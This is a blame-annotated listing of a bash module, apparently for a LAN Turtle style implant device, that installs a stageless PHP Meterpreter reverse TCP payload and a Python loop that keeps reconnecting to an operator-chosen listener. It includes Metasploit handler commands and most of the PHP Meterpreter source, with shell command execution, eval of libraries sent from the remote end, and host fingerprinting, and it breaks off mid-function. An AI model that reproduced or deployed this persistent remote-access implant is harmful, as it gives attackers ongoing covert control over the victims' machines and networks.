2015-11-22 17:29:49 +00:00
|
|
|
#!/bin/bash /usr/lib/turtle/turtle_module
|
|
|
|
|
|
|
|
# meterpreter-sl by IMcPwn
|
|
|
|
# http://imcpwn.com
|
|
|
|
|
|
|
|
VERSION="2.1"
|
2019-10-10 19:21:32 +00:00
|
|
|
DESCRIPTION="Deprecated - requires firmware v6.1 or below. Stageless Metasploit payload to maintain shells"
|
2015-11-22 17:29:49 +00:00
|
|
|
CONF=/tmp/meterpreter-sl.form
|
|
|
|
AUTHOR=IMcPwn
|
|
|
|
|
|
|
|
: ${DIALOG_OK=0}
|
|
|
|
: ${DIALOG_CANCEL=1}
|
|
|
|
: ${DIALOG_HELP=2}
|
|
|
|
: ${DIALOG_EXTRA=3}
|
|
|
|
: ${DIALOG_ESC=255}
|
|
|
|
|
|
|
|
function start {
|
|
|
|
if [ -s /etc/config/meterpreter-sl ]
|
|
|
|
then
|
|
|
|
meterpreter_sl_host=$(uci get meterpreter-sl.host)
|
|
|
|
meterpreter_sl_port=$(uci get meterpreter-sl.port)
|
|
|
|
meterpreter_sl_sleep=$(uci get meterpreter-sl.sleep)
|
|
|
|
if [[ $meterpreter_sl_host == "" ]]
|
|
|
|
then
|
|
|
|
echo "Stageless Meterpreter host not set"
|
|
|
|
exit 1
|
|
|
|
fi
|
|
|
|
if [[ $meterpreter_sl_port == "" ]]
|
|
|
|
then
|
|
|
|
echo "Stageless Meterpreter port not set"
|
|
|
|
exit 1
|
|
|
|
fi
|
|
|
|
if [[ $meterpreter_sl_sleep == "" ]]
|
|
|
|
then
|
|
|
|
echo "Stageless Meterpreter sleep time not set"
|
|
|
|
exit 1
|
|
|
|
fi
|
|
|
|
if [ ! -s /etc/turtle/meterpreter/meterpreter-sl-exec.py ]
|
|
|
|
then
|
|
|
|
echo -e "\nStageless Meterpreter looping script does not exist.\nCreating it now...\n"
|
|
|
|
create_exec
|
|
|
|
fi
|
|
|
|
if [ ! -s /usr/bin/stageless-meterpreter ]
|
|
|
|
then
|
|
|
|
echo -e "\nPHP Stageless Meterpreter executable does not exist.\nCreating it now...\n"
|
|
|
|
create_program
|
|
|
|
fi
|
|
|
|
echo "Starting stageless meterpreter on IP $meterpreter_sl_host and port $meterpreter_sl_port"
|
|
|
|
touch /tmp/meterpreter-sl.lock
|
|
|
|
echo "python /etc/turtle/meterpreter/meterpreter-sl-exec.py &" | at now
|
|
|
|
echo "Stageless meterpreter started with pid"
|
|
|
|
pgrep -f meterpreter-sl-exec.py
|
|
|
|
else
|
|
|
|
echo "Stageless Meterpreter not configured"
|
|
|
|
fi
|
|
|
|
}
|
|
|
|
|
|
|
|
function stop {
|
|
|
|
rm -f /tmp/meterpreter-sl.lock
|
|
|
|
if pgrep -f meterpreter-sl-exec.py > /dev/null; then kill $(pgrep -f meterpreter-sl-exec.py); fi
|
2015-11-22 18:16:48 +00:00
|
|
|
if pgrep -f stageless_meterpreter > /dev/null; then kill $(pgrep -f stageless_meterpreter); fi
|
2015-11-22 17:29:49 +00:00
|
|
|
echo "Stageless Meterpreter stopped"
|
|
|
|
}
|
|
|
|
|
|
|
|
function status {
|
|
|
|
if ps | grep -w -q [/]etc/turtle/meterpreter/meterpreter-sl-exec.py; then echo "1"; else echo "0"; fi
|
|
|
|
}
|
|
|
|
|
|
|
|
function configure {
|
|
|
|
if [ -s /etc/config/meterpreter-sl ]
|
|
|
|
then
|
|
|
|
meterpreter_sl_host=$(uci get meterpreter-sl.host)
|
|
|
|
meterpreter_sl_port=$(uci get meterpreter-sl.port)
|
|
|
|
meterpreter_sl_sleep=$(uci get meterpreter-sl.sleep)
|
|
|
|
else
|
|
|
|
touch /etc/config/meterpreter-sl
|
|
|
|
fi
|
|
|
|
|
|
|
|
dialog --ok-label "Submit" \
|
|
|
|
--help-button \
|
|
|
|
--title "Stageless Meterpreter Configuration" \
|
|
|
|
--form "PHP Stageless Meterpreter (Metasploit Module)\n\n\
|
|
|
|
Stageless Meterpreter connects to the host and port you specify.\nSleep Time is the delay in between each connection attempt.\n" 14 60 3\
|
|
|
|
"Listen Host:" 1 1 "$meterpreter_sl_host" 1 14 48 0 \
|
|
|
|
"Listen Port:" 2 1 "$meterpreter_sl_port" 2 14 48 0 \
|
|
|
|
"Sleep Time:" 3 1 "$meterpreter_sl_sleep" 3 14 48 0 \
|
|
|
|
2>$CONF
|
|
|
|
|
|
|
|
return=$?
|
|
|
|
|
|
|
|
case $return in
|
|
|
|
$DIALOG_OK)
|
|
|
|
cat $CONF | {
|
|
|
|
read -r meterpreter_sl_host
|
|
|
|
read -r meterpreter_sl_port
|
|
|
|
read -r meterpreter_sl_sleep
|
|
|
|
uci set meterpreter-sl.host="$meterpreter_sl_host"
|
|
|
|
uci set meterpreter-sl.port="$meterpreter_sl_port"
|
|
|
|
uci set meterpreter-sl.sleep=$meterpreter_sl_sleep
|
|
|
|
uci commit meterpreter-sl
|
|
|
|
rm $CONF
|
|
|
|
clear
|
|
|
|
};;
|
|
|
|
|
|
|
|
$DIALOG_HELP)
|
|
|
|
dialog --title "Help" \
|
|
|
|
--msgbox "\
|
|
|
|
Host - IP or Hostname of target stageless meterpreter listener\n\
|
|
|
|
Port - Port number of target stageless meterpreter listener\n\
|
|
|
|
Sleep Time - Time stageless meterpreter waits in between each connection attempt\n \n\
|
|
|
|
|
|
|
|
use exploit/multi/handler \n\
|
|
|
|
# Handles multiple meterpreter sessions\n \n\
|
|
|
|
|
|
|
|
set PAYLOAD php/meterpreter_reverse_tcp \n\
|
|
|
|
# Setting for Stageless Reverse TCP Meterpreter\n \n\
|
|
|
|
|
|
|
|
set LHOST [host or ip] \n\
|
|
|
|
# Hostname or IP of listener\n \n\
|
|
|
|
|
|
|
|
set LPORT [port number] \n\
|
|
|
|
# Port of listener\n \n\
|
|
|
|
|
|
|
|
set ExitOnSession false \n\
|
|
|
|
# Let the exploit continue when meterpreter exists\n \n\
|
|
|
|
|
|
|
|
exploit -j \n\
|
|
|
|
# Make the exploit a backgroundable job\n \n\
|
|
|
|
|
|
|
|
sessions \n\
|
|
|
|
# Lists sessions\n \n\
|
|
|
|
|
|
|
|
sessions -i [number] \n\
|
|
|
|
# Interacts with session number\n \n\
|
|
|
|
" 20 74
|
|
|
|
configure
|
|
|
|
;;
|
|
|
|
$DIALOG_CANCEL)
|
|
|
|
rm $CONF
|
|
|
|
clear
|
|
|
|
exit;;
|
|
|
|
$DIALOG_ESC)
|
|
|
|
clear;;
|
|
|
|
esac
|
|
|
|
}
|
|
|
|
|
|
|
|
function create_exec {
|
|
|
|
mkdir -p /etc/turtle/meterpreter
|
|
|
|
cat << EOF > /etc/turtle/meterpreter/meterpreter-sl-exec.py
|
|
|
|
#!/usr/bin/python
|
|
|
|
|
|
|
|
# meterpreter-sl-exec.py by IMcPwn
|
|
|
|
# http://imcpwn.com
|
|
|
|
|
|
|
|
import os
|
|
|
|
import sys
|
|
|
|
import subprocess
|
|
|
|
import time
|
|
|
|
|
|
|
|
DATE = subprocess.Popen("date", shell=True, stdout=subprocess.PIPE).stdout.read()
|
|
|
|
DATE = DATE.replace("\n", "")
|
|
|
|
HOST = subprocess.Popen("uci get meterpreter-sl.host", shell=True, stdout=subprocess.PIPE).stdout.read()
|
|
|
|
HOST = HOST.replace("\n", "")
|
|
|
|
PORT = subprocess.Popen("uci get meterpreter-sl.port", shell=True, stdout=subprocess.PIPE).stdout.read()
|
|
|
|
PORT = PORT.replace("\n", "")
|
|
|
|
SLEEP = subprocess.Popen("uci get meterpreter-sl.sleep", shell=True, stdout=subprocess.PIPE).stdout.read()
|
|
|
|
SLEEP = SLEEP.replace("\n", "")
|
2016-04-14 19:40:08 +00:00
|
|
|
STAGELESS_METERPRETER = "/usr/bin/stageless-meterpreter " + HOST + " " + PORT
|
2015-11-22 17:29:49 +00:00
|
|
|
if HOST == "" or PORT == "":
|
|
|
|
subprocess.call('/usr/bin/logger "Meterpreter: Error, configuration blank"', shell=True)
|
|
|
|
print "Meterpreter: Error, configuration blank"
|
|
|
|
try:
|
|
|
|
os.remove("/tmp/meterpreter-sl.lock")
|
|
|
|
except:
|
|
|
|
pass
|
|
|
|
sys.exit(1)
|
|
|
|
else:
|
|
|
|
while os.path.isfile("/tmp/meterpreter-sl.lock"):
|
|
|
|
subprocess.call('/usr/bin/logger "Meterpreter: Started at $DATE with $HOST $PORT"', shell=True)
|
|
|
|
print "Started Meterpreter at %s with host %s and port %s" % (DATE, HOST, PORT)
|
|
|
|
subprocess.call(STAGELESS_METERPRETER, shell=True)
|
|
|
|
time.sleep(float(SLEEP))
|
|
|
|
# Done!
|
|
|
|
subprocess.call('/usr/bin/logger "Meterpreter: Stopped at $DATE with $HOST $PORT"', shell=True)
|
|
|
|
print "Stopped Meterpreter at %s with host %s and port %s" % (DATE, HOST, PORT)
|
|
|
|
print "\nTo run again, use \"start meterpreter-sl\" or create /tmp/meterpeter-sl.lock then execute this file again"
|
|
|
|
print "To stop again, use \"stop meterpreter-sl\" or manually delete /tmp/meterpreter-sl.lock"
|
|
|
|
try:
|
|
|
|
os.remove("/tmp/meterpreter-sl.lock")
|
|
|
|
except:
|
|
|
|
pass
|
|
|
|
|
|
|
|
EOF
|
|
|
|
chmod +x /etc/turtle/meterpreter/meterpreter-sl-exec.py
|
|
|
|
}
|
|
|
|
|
|
|
|
function create_program {
|
|
|
|
cat << EOF > /usr/bin/stageless-meterpreter
|
|
|
|
#!/usr/bin/env /usr/bin/php-cli
|
|
|
|
|
|
|
|
<?php
|
|
|
|
|
|
|
|
error_reporting(0);
|
|
|
|
|
|
|
|
if (\$argc < 3) {
|
|
|
|
echo "Usage: stageless-meterpreter HOST PORT\n\n";
|
|
|
|
exit(1);
|
|
|
|
}
|
|
|
|
|
|
|
|
\$ipaddr = \$argv[1];
|
|
|
|
\$port = \$argv[2];
|
|
|
|
|
|
|
|
\$ipf = AF_INET;
|
|
|
|
|
|
|
|
if (!isset(\$GLOBALS['channels'])) {
|
|
|
|
\$GLOBALS['channels'] = array();
|
|
|
|
}
|
|
|
|
if (!isset(\$GLOBALS['channel_process_map'])) {
|
|
|
|
\$GLOBALS['channel_process_map'] = array();
|
|
|
|
}
|
|
|
|
if (!isset(\$GLOBALS['resource_type_map'])) {
|
|
|
|
\$GLOBALS['resource_type_map'] = array();
|
|
|
|
}
|
|
|
|
if (!isset(\$GLOBALS['udp_host_map'])) {
|
|
|
|
\$GLOBALS['udp_host_map'] = array();
|
|
|
|
}
|
|
|
|
if (!isset(\$GLOBALS['readers'])) {
|
|
|
|
\$GLOBALS['readers'] = array();
|
|
|
|
}
|
|
|
|
if (!isset(\$GLOBALS['commands'])) {
|
|
|
|
\$GLOBALS['commands'] = array(
|
|
|
|
"core_loadlib",
|
|
|
|
"core_machine_id",
|
|
|
|
"core_uuid"
|
|
|
|
);
|
|
|
|
}
|
|
|
|
function register_command(\$c)
|
|
|
|
{
|
|
|
|
global \$commands;
|
|
|
|
if (!in_array(\$c, \$commands)) {
|
|
|
|
array_push(\$commands, \$c);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
function my_print(\$str)
|
|
|
|
{
|
|
|
|
}
|
|
|
|
my_print("Evaling main meterpreter stage");
|
|
|
|
function dump_array(\$arr, \$name = null)
|
|
|
|
{
|
|
|
|
if (is_null(\$name)) {
|
|
|
|
\$name = "Array";
|
|
|
|
}
|
|
|
|
my_print(sprintf("\$name (%s)", count(\$arr)));
|
|
|
|
foreach (\$arr as \$key => \$val) {
|
|
|
|
if (is_array(\$val)) {
|
|
|
|
dump_array(\$val, "{\$name}[{\$key}]");
|
|
|
|
} else {
|
|
|
|
my_print(sprintf(" \$key (\$val)"));
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
function dump_readers()
|
|
|
|
{
|
|
|
|
global \$readers;
|
|
|
|
dump_array(\$readers, 'Readers');
|
|
|
|
}
|
|
|
|
function dump_resource_map()
|
|
|
|
{
|
|
|
|
global \$resource_type_map;
|
|
|
|
dump_array(\$resource_type_map, 'Resource map');
|
|
|
|
}
|
|
|
|
function dump_channels(\$extra = "")
|
|
|
|
{
|
|
|
|
global \$channels;
|
|
|
|
dump_array(\$channels, 'Channels ' . \$extra);
|
|
|
|
}
|
|
|
|
if (!function_exists("file_get_contents")) {
|
|
|
|
function file_get_contents(\$file)
|
|
|
|
{
|
|
|
|
\$f = @fopen(\$file, "rb");
|
|
|
|
\$contents = false;
|
|
|
|
if (\$f) {
|
|
|
|
do {
|
|
|
|
\$contents .= fgets(\$f);
|
|
|
|
} while (!feof(\$f));
|
|
|
|
}
|
|
|
|
fclose(\$f);
|
|
|
|
return \$contents;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
if (!function_exists('socket_set_option')) {
|
|
|
|
function socket_set_option(\$sock, \$type, \$opt, \$value)
|
|
|
|
{
|
|
|
|
socket_setopt(\$sock, \$type, \$opt, \$value);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
define("PAYLOAD_UUID", "\x83\xac\x98\xe3\x99\x7a\x65\xca\xf2\x9c\xe1\x93\xa7\x78\x24\x80");
|
|
|
|
define("PACKET_TYPE_REQUEST", 0);
|
|
|
|
define("PACKET_TYPE_RESPONSE", 1);
|
|
|
|
define("PACKET_TYPE_PLAIN_REQUEST", 10);
|
|
|
|
define("PACKET_TYPE_PLAIN_RESPONSE", 11);
|
|
|
|
define("ERROR_SUCCESS", 0);
|
|
|
|
define("ERROR_FAILURE", 1);
|
|
|
|
define("CHANNEL_CLASS_BUFFERED", 0);
|
|
|
|
define("CHANNEL_CLASS_STREAM", 1);
|
|
|
|
define("CHANNEL_CLASS_DATAGRAM", 2);
|
|
|
|
define("CHANNEL_CLASS_POOL", 3);
|
|
|
|
define("TLV_META_TYPE_NONE", (0));
|
|
|
|
define("TLV_META_TYPE_STRING", (1 << 16));
|
|
|
|
define("TLV_META_TYPE_UINT", (1 << 17));
|
|
|
|
define("TLV_META_TYPE_RAW", (1 << 18));
|
|
|
|
define("TLV_META_TYPE_BOOL", (1 << 19));
|
|
|
|
define("TLV_META_TYPE_QWORD", (1 << 20));
|
|
|
|
define("TLV_META_TYPE_COMPRESSED", (1 << 29));
|
|
|
|
define("TLV_META_TYPE_GROUP", (1 << 30));
|
|
|
|
define("TLV_META_TYPE_COMPLEX", (1 << 31));
|
|
|
|
define("TLV_META_TYPE_MASK", (1 << 31) + (1 << 30) + (1 << 29) + (1 << 19) + (1 << 18) + (1 << 17) + (1 << 16));
|
|
|
|
define("TLV_RESERVED", 0);
|
|
|
|
define("TLV_EXTENSIONS", 20000);
|
|
|
|
define("TLV_USER", 40000);
|
|
|
|
define("TLV_TEMP", 60000);
|
|
|
|
define("TLV_TYPE_ANY", TLV_META_TYPE_NONE | 0);
|
|
|
|
define("TLV_TYPE_METHOD", TLV_META_TYPE_STRING | 1);
|
|
|
|
define("TLV_TYPE_REQUEST_ID", TLV_META_TYPE_STRING | 2);
|
|
|
|
define("TLV_TYPE_EXCEPTION", TLV_META_TYPE_GROUP | 3);
|
|
|
|
define("TLV_TYPE_RESULT", TLV_META_TYPE_UINT | 4);
|
|
|
|
define("TLV_TYPE_STRING", TLV_META_TYPE_STRING | 10);
|
|
|
|
define("TLV_TYPE_UINT", TLV_META_TYPE_UINT | 11);
|
|
|
|
define("TLV_TYPE_BOOL", TLV_META_TYPE_BOOL | 12);
|
|
|
|
define("TLV_TYPE_LENGTH", TLV_META_TYPE_UINT | 25);
|
|
|
|
define("TLV_TYPE_DATA", TLV_META_TYPE_RAW | 26);
|
|
|
|
define("TLV_TYPE_FLAGS", TLV_META_TYPE_UINT | 27);
|
|
|
|
define("TLV_TYPE_CHANNEL_ID", TLV_META_TYPE_UINT | 50);
|
|
|
|
define("TLV_TYPE_CHANNEL_TYPE", TLV_META_TYPE_STRING | 51);
|
|
|
|
define("TLV_TYPE_CHANNEL_DATA", TLV_META_TYPE_RAW | 52);
|
|
|
|
define("TLV_TYPE_CHANNEL_DATA_GROUP", TLV_META_TYPE_GROUP | 53);
|
|
|
|
define("TLV_TYPE_CHANNEL_CLASS", TLV_META_TYPE_UINT | 54);
|
|
|
|
define("TLV_TYPE_SEEK_WHENCE", TLV_META_TYPE_UINT | 70);
|
|
|
|
define("TLV_TYPE_SEEK_OFFSET", TLV_META_TYPE_UINT | 71);
|
|
|
|
define("TLV_TYPE_SEEK_POS", TLV_META_TYPE_UINT | 72);
|
|
|
|
define("TLV_TYPE_EXCEPTION_CODE", TLV_META_TYPE_UINT | 300);
|
|
|
|
define("TLV_TYPE_EXCEPTION_STRING", TLV_META_TYPE_STRING | 301);
|
|
|
|
define("TLV_TYPE_LIBRARY_PATH", TLV_META_TYPE_STRING | 400);
|
|
|
|
define("TLV_TYPE_TARGET_PATH", TLV_META_TYPE_STRING | 401);
|
|
|
|
define("TLV_TYPE_MIGRATE_PID", TLV_META_TYPE_UINT | 402);
|
|
|
|
define("TLV_TYPE_MIGRATE_LEN", TLV_META_TYPE_UINT | 403);
|
|
|
|
define("TLV_TYPE_MACHINE_ID", TLV_META_TYPE_STRING | 460);
|
|
|
|
define("TLV_TYPE_UUID", TLV_META_TYPE_RAW | 461);
|
|
|
|
define("TLV_TYPE_CIPHER_NAME", TLV_META_TYPE_STRING | 500);
|
|
|
|
define("TLV_TYPE_CIPHER_PARAMETERS", TLV_META_TYPE_GROUP | 501);
|
|
|
|
function my_cmd(\$cmd)
|
|
|
|
{
|
|
|
|
return shell_exec(\$cmd);
|
|
|
|
}
|
|
|
|
function is_windows()
|
|
|
|
{
|
|
|
|
return (strtoupper(substr(PHP_OS, 0, 3)) == "WIN");
|
|
|
|
}
|
|
|
|
function core_channel_open(\$req, &\$pkt)
|
|
|
|
{
|
|
|
|
\$type_tlv = packet_get_tlv(\$req, TLV_TYPE_CHANNEL_TYPE);
|
|
|
|
my_print("Client wants a " . \$type_tlv['value'] . " channel, i'll see what i can do");
|
|
|
|
\$handler = "channel_create_" . \$type_tlv['value'];
|
|
|
|
if (\$type_tlv['value'] && is_callable(\$handler)) {
|
|
|
|
my_print("Calling {\$handler}");
|
|
|
|
\$ret = \$handler(\$req, \$pkt);
|
|
|
|
} else {
|
|
|
|
my_print("I don't know how to make a " . \$type_tlv['value'] . " channel. =(");
|
|
|
|
\$ret = ERROR_FAILURE;
|
|
|
|
}
|
|
|
|
return \$ret;
|
|
|
|
}
|
|
|
|
function core_channel_eof(\$req, &\$pkt)
|
|
|
|
{
|
|
|
|
my_print("doing channel eof");
|
|
|
|
\$chan_tlv = packet_get_tlv(\$req, TLV_TYPE_CHANNEL_ID);
|
|
|
|
\$c = get_channel_by_id(\$chan_tlv['value']);
|
|
|
|
if (\$c) {
|
|
|
|
if (eof(\$c[1])) {
|
|
|
|
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_BOOL, 1));
|
|
|
|
} else {
|
|
|
|
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_BOOL, 0));
|
|
|
|
}
|
|
|
|
return ERROR_SUCCESS;
|
|
|
|
} else {
|
|
|
|
return ERROR_FAILURE;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
function core_channel_read(\$req, &\$pkt)
|
|
|
|
{
|
|
|
|
my_print("doing channel read");
|
|
|
|
\$chan_tlv = packet_get_tlv(\$req, TLV_TYPE_CHANNEL_ID);
|
|
|
|
\$len_tlv = packet_get_tlv(\$req, TLV_TYPE_LENGTH);
|
|
|
|
\$id = \$chan_tlv['value'];
|
|
|
|
\$len = \$len_tlv['value'];
|
|
|
|
\$data = channel_read(\$id, \$len);
|
|
|
|
if (\$data === false) {
|
|
|
|
\$res = ERROR_FAILURE;
|
|
|
|
} else {
|
|
|
|
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_CHANNEL_DATA, \$data));
|
|
|
|
\$res = ERROR_SUCCESS;
|
|
|
|
}
|
|
|
|
return \$res;
|
|
|
|
}
|
|
|
|
function core_channel_write(\$req, &\$pkt)
|
|
|
|
{
|
|
|
|
\$chan_tlv = packet_get_tlv(\$req, TLV_TYPE_CHANNEL_ID);
|
|
|
|
\$data_tlv = packet_get_tlv(\$req, TLV_TYPE_CHANNEL_DATA);
|
|
|
|
\$len_tlv = packet_get_tlv(\$req, TLV_TYPE_LENGTH);
|
|
|
|
\$id = \$chan_tlv['value'];
|
|
|
|
\$data = \$data_tlv['value'];
|
|
|
|
\$len = \$len_tlv['value'];
|
|
|
|
\$wrote = channel_write(\$id, \$data, \$len);
|
|
|
|
if (\$wrote === false) {
|
|
|
|
return ERROR_FAILURE;
|
|
|
|
} else {
|
|
|
|
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_LENGTH, \$wrote));
|
|
|
|
return ERROR_SUCCESS;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
function core_channel_close(\$req, &\$pkt)
|
|
|
|
{
|
|
|
|
global \$channel_process_map;
|
|
|
|
my_print("doing channel close");
|
|
|
|
\$chan_tlv = packet_get_tlv(\$req, TLV_TYPE_CHANNEL_ID);
|
|
|
|
\$id = \$chan_tlv['value'];
|
|
|
|
\$c = get_channel_by_id(\$id);
|
|
|
|
if (\$c) {
|
|
|
|
channel_close_handles(\$id);
|
|
|
|
channel_remove(\$id);
|
|
|
|
if (array_key_exists(\$id, \$channel_process_map) and is_callable('close_process')) {
|
|
|
|
close_process(\$channel_process_map[\$id]);
|
|
|
|
}
|
|
|
|
return ERROR_SUCCESS;
|
|
|
|
}
|
|
|
|
dump_channels("after close");
|
|
|
|
return ERROR_FAILURE;
|
|
|
|
}
|
|
|
|
function channel_close_handles(\$cid)
|
|
|
|
{
|
|
|
|
global \$channels;
|
|
|
|
if (!array_key_exists(\$cid, \$channels)) {
|
|
|
|
return;
|
|
|
|
}
|
|
|
|
\$c = \$channels[\$cid];
|
|
|
|
for (\$i = 0; \$i < 3; \$i++) {
|
|
|
|
if (array_key_exists(\$i, \$c) && is_resource(\$c[\$i])) {
|
|
|
|
close(\$c[\$i]);
|
|
|
|
remove_reader(\$c[\$i]);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
if (strlen(\$c['data']) == 0) {
|
|
|
|
channel_remove(\$cid);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
function channel_remove(\$cid)
|
|
|
|
{
|
|
|
|
global \$channels;
|
|
|
|
unset(\$channels[\$cid]);
|
|
|
|
}
|
|
|
|
function core_channel_interact(\$req, &\$pkt)
|
|
|
|
{
|
|
|
|
global \$readers;
|
|
|
|
my_print("doing channel interact");
|
|
|
|
\$chan_tlv = packet_get_tlv(\$req, TLV_TYPE_CHANNEL_ID);
|
|
|
|
\$id = \$chan_tlv['value'];
|
|
|
|
\$toggle_tlv = packet_get_tlv(\$req, TLV_TYPE_BOOL);
|
|
|
|
\$c = get_channel_by_id(\$id);
|
|
|
|
if (\$c) {
|
|
|
|
if (\$toggle_tlv['value']) {
|
|
|
|
if (!in_array(\$c[1], \$readers)) {
|
|
|
|
add_reader(\$c[1]);
|
|
|
|
if (array_key_exists(2, \$c) && \$c[1] != \$c[2]) {
|
|
|
|
add_reader(\$c[2]);
|
|
|
|
}
|
|
|
|
\$ret = ERROR_SUCCESS;
|
|
|
|
} else {
|
|
|
|
\$ret = ERROR_FAILURE;
|
|
|
|
}
|
|
|
|
} else {
|
|
|
|
if (in_array(\$c[1], \$readers)) {
|
|
|
|
remove_reader(\$c[1]);
|
|
|
|
remove_reader(\$c[2]);
|
|
|
|
\$ret = ERROR_SUCCESS;
|
|
|
|
} else {
|
|
|
|
\$ret = ERROR_SUCCESS;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
} else {
|
|
|
|
my_print("Trying to interact with an invalid channel");
|
|
|
|
\$ret = ERROR_FAILURE;
|
|
|
|
}
|
|
|
|
return \$ret;
|
|
|
|
}
|
|
|
|
function interacting(\$cid)
|
|
|
|
{
|
|
|
|
global \$readers;
|
|
|
|
\$c = get_channel_by_id(\$cid);
|
|
|
|
if (in_array(\$c[1], \$readers)) {
|
|
|
|
return true;
|
|
|
|
}
|
|
|
|
return false;
|
|
|
|
}
|
|
|
|
function core_shutdown(\$req, &\$pkt)
|
|
|
|
{
|
|
|
|
my_print("doing core shutdown");
|
|
|
|
die();
|
|
|
|
}
|
|
|
|
function core_loadlib(\$req, &\$pkt)
|
|
|
|
{
|
|
|
|
global \$commands;
|
|
|
|
my_print("doing core_loadlib");
|
|
|
|
\$data_tlv = packet_get_tlv(\$req, TLV_TYPE_DATA);
|
|
|
|
if ((\$data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) {
|
|
|
|
return ERROR_FAILURE;
|
|
|
|
}
|
|
|
|
\$tmp = \$commands;
|
|
|
|
eval(\$data_tlv['value']);
|
|
|
|
\$new = array_diff(\$commands, \$tmp);
|
|
|
|
foreach (\$new as \$meth) {
|
|
|
|
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_METHOD, \$meth));
|
|
|
|
}
|
|
|
|
return ERROR_SUCCESS;
|
|
|
|
}
|
|
|
|
function core_uuid(\$req, &\$pkt)
|
|
|
|
{
|
|
|
|
my_print("doing core_uuid");
|
|
|
|
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_UUID, PAYLOAD_UUID));
|
|
|
|
return ERROR_SUCCESS;
|
|
|
|
}
|
|
|
|
function get_hdd_label()
|
|
|
|
{
|
|
|
|
foreach (scandir('/dev/disk/by-id/') as \$file) {
|
|
|
|
foreach (array(
|
|
|
|
"ata-",
|
|
|
|
"mb-"
|
|
|
|
) as \$prefix) {
|
|
|
|
if (strpos(\$file, \$prefix) === 0) {
|
|
|
|
return substr(\$file, strlen(\$prefix));
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
return "";
|
|
|
|
}
|
|
|
|
function core_machine_id(\$req, &\$pkt)
|
|
|
|
{
|
|
|
|
my_print("doing core_machine_id");
|
|
|
|
\$machine_id = gethostname();
|
|
|
|
\$serial = "";
|
|
|
|
if (is_windows()) {
|
|
|
|
\$output = strtolower(shell_exec("vol %SYSTEMDRIVE%"));
|
|
|
|
\$serial = preg_replace('/.*serial number is ([a-z0-9]{4}-[a-z0-9]{4}).*/s', '\$1', \$output);
|
|
|
|
} else {
|
|
|
|
\$serial = get_hdd_label();
|
|
|
|
}
|
|
|
|
packet_add_tlv(\$pkt, create_tlv(TLV_TYPE_MACHINE_ID, \$serial . ":" . \$machine_id));
|
|
|
|
return ERROR_SUCCESS;
|
|
|
|
}
|
|
|
|
\$channels = array();
|
|
|
|
function register_channel(\$in, \$out = null, \$err = null)
|
|
|
|
{
|
|
|
|
global \$channels;
|
|
|
|
if (\$out == null) {
|
|
|
|
\$out = \$in;
|
|
|
|
}
|
|
|
|
if (\$err == null) {
|
|
|
|
\$err = \$out;
|
|
|
|
}
|
|
|
|
\$channels[] = array(
|
|
|
|
0 => \$in,
|
|
|
|
1 => \$out,
|
|
|
|
2 => \$err,
|
|
|
|
'type' => get_rtype(\$in),
|
|
|
|
'data' => ''
|
|
|
|
);
|
|
|
|
\$id = end(array_keys(\$channels));
|
|
|
|
my_print("Created new channel \$in, with id \$id");
|
|
|
|
return \$id;
|
|
|
|
}
|
|
|
|
function get_channel_id_from_resource(\$resource)
|
|
|
|
{
|
|
|
|
global \$channels;
|
|
|
|
if (empty(\$channels)) {
|
|
|
|
return false;
|
|
|
|
}
|
|
|
|
foreach (\$channels as \$i => \$chan_ary) {
|
|
|
|
if (in_array(\$resource, \$chan_ary)) {
|
|
|
|
my_print("Found channel id \$i");
|
|
|
|
return \$i;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
return false;
|
|
|
|
}
|
|
|
|
function get_channel_by_id(\$chan_id)
|
|
|
|
{
|
|
|
|
global \$channels;
|
|
|
|
my_print("Looking up channel id \$chan_id");
|
|
|
|
if (array_key_exists(\$chan_id, \$channels)) {
|
|
|
|
my_print("Found one");
|
|
|
|
return \$channels[\$chan_id];
|
|
|
|
} else {
|
|
|
|
return false;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
function channel_write(\$chan_id, \$data)
|
|
|
|
{
|
|
|
|
\$c = get_channel_by_id(\$chan_id);
|
|
|
|
if (\$c && is_resource(\$c[0])) {
|
|
|
|
my_print("---Writing '\$data' to channel \$chan_id");
|
|
|
|
return write(\$c[0], \$data);
|
|
|
|
} else {
|
|
|
|
return false;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
function channel_read(\$chan_id, \$len)
|
|
|
|
{
|
|
|
|
\$c = get_channel_by_id(\$chan_id);
|
|
|
|
if (\$c) {
|
|
|
|
\$ret = substr(\$c['data'], 0, \$len);
|
|
|
|
\$c['data'] = substr(\$c['data'], \$len);
|
|
|
|
if (strlen(\$ret) > 0) {
|
|
|
|
my_print("Had some leftovers: '\$ret'");
|
|
|
|
}
|
|
|
|
if (strlen(\$ret) < \$len and is_resource(\$c[2]) and \$c[1] != \$c[2]) {
|
|
|
|
\$read = read(\$c[2]);
|
|
|
|
\$c['data'] .= \$read;
|
|
|
|
\$bytes_needed = \$len - strlen(\$ret);
|
|
|
|
\$ret .= substr(\$c['data'], 0, \$bytes_needed);
|
|
|
|
\$c['data'] = substr(\$c['data'], \$bytes_needed);
|
|
|
|
}
|
|
|
|
if (strlen(\$ret) < \$len and is_resource(\$c[1])) {
|
|
|
|
\$read = read(\$c[1]);
|
|
|
|
\$c['data'] .= \$read;
|
|
|
|
\$bytes_needed = \$len - strlen(\$ret);
|
|
|
|
\$ret .= substr(\$c['data'], 0, \$bytes_needed);
|
|
|
|
\$c['data'] = substr(\$c['data'], \$bytes_needed);
|
|
|
|
}
|
|
|
|
if (false === \$read and empty(\$ret)) {
|
|
|
|
if (interacting(\$chan_id)) {
|
|
|
|
